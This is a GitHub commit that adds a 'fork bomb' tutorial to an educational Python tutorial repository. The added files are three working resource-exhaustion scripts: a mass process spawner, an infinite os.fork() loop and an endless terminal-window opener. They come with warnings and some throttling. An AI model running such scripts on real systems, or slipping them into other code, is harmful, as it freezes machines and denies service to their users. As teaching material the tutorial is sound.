Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit9e60578

Browse files
committed
add fork bomb tutorial
1 parent92e40f6 commit9e60578

File tree

5 files changed

+94
-0
lines changed

5 files changed

+94
-0
lines changed

‎README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
5858
-[How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python). ([code](ethical-hacking/implement-vigenere-cipher))
5959
-[How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python). ([code](ethical-hacking/fake-user-data-generator))
6060
-[Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python). ([code](ethical-hacking/bluetooth-scanner))
61+
-[How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python). ([code](ethical-hacking/fork-bomb))
6162

6263
-###[Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
6364
-###[Natural Language Processing](https://www.thepythoncode.com/topic/nlp)

‎ethical-hacking/fork-bomb/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
#[How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python)
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
"""Using `multiprocessing` module to spawn processes as a cross-platform fork bomb."""
2+
# Import necessary modules.
3+
frommultiprocessingimportProcess,cpu_count
4+
importtime
5+
6+
# Define a function named counter that takes a number parameter.
7+
defcounter(number):
8+
# Run a loop until number reaches 0.
9+
whilenumber>0:
10+
number-=1
11+
# Introduce a sleep of 100 ms to intentionally slow down the loop.
12+
time.sleep(0.1)# Adjust sleep time as needed to make it slower.
13+
14+
15+
defspawn_processes(num_processes):
16+
# Create a list of Process instances, each targeting the counter function.
17+
processes= [Process(target=counter,args=(1000,))for_inrange(num_processes)]
18+
# Start each process.
19+
forprocessinprocesses:
20+
process.start()
21+
print(f"Started process{process.pid}.")
22+
# Wait for each process to finish before moving on.
23+
forprocessinprocesses:
24+
process.join()
25+
print(f"Process{process.pid} has finished.")
26+
27+
# Define the main function.
28+
defmain():
29+
# Get the number of logical processors on the system.
30+
num_processors=cpu_count()
31+
# Create a large number of processes (num_processors * 200).
32+
num_processes=num_processors*200# Adjust the number of processes to spawn as needed.
33+
print(f"Number of logical processors:{num_processors}")
34+
print(f"Creating{num_processes} processes.")
35+
print("Warning: This will consume a lot of system resources, and potentially freeze your PC, make sure to adjust the number of processes and sleep seconds as needed.")
36+
# Run an infinite loop if you want.
37+
# while True:
38+
# spawn_processes(num_processes)
39+
# For demonstration purposes, run the function once and monitor the task manager.
40+
spawn_processes(num_processes)
41+
42+
43+
# Execute the main function.
44+
if__name__=="__main__":
45+
main()
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
"""Simplest form of a fork bomb. It creates a new process in an infinite loop using os.fork().
2+
It only works on Unix-based systems, and it will consume all system resources, potentially freezing the system.
3+
Be careful when running this code."""
4+
importos
5+
# import time
6+
7+
whileTrue:
8+
os.fork()
9+
# time.sleep(0.5)
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
"""A terminal spawn bomb that infinitely opens a new terminal window on the host system.
2+
Be careful when running this script, as it overwhelms the system with terminal windows.
3+
The time.sleep() is introduced to test the script."""
4+
importos
5+
importsubprocess
6+
importtime
7+
8+
# List of common terminal emulators
9+
terminal_emulators= [
10+
"gnome-terminal",# GNOME
11+
"konsole",# KDE
12+
"xfce4-terminal",# XFCE
13+
"lxterminal",# LXDE
14+
"mate-terminal",# MATE
15+
"terminator",
16+
"xterm",
17+
"urxvt"
18+
]
19+
20+
defopen_terminal():
21+
foremulatorinterminal_emulators:
22+
try:
23+
ifsubprocess.call(["which",emulator],stdout=subprocess.DEVNULL)==0:
24+
os.system(f"{emulator} &")
25+
returnTrue
26+
exceptExceptionase:
27+
continue
28+
print("No known terminal emulator found!")
29+
returnFalse
30+
31+
whileTrue:
32+
ifos.name=="nt":
33+
os.system("start cmd")
34+
else:
35+
ifnotopen_terminal():
36+
break# Break the loop if no terminal emulator is found
37+
# Introduce a sleep of 500 ms to intentionally slow down the loop so you can stop the script.
38+
time.sleep(0.5)# Adjust sleep time as needed to make it slower.

0 commit comments

Comments
 (0)

[8]ページ先頭

©2009-2025 Movatter.jp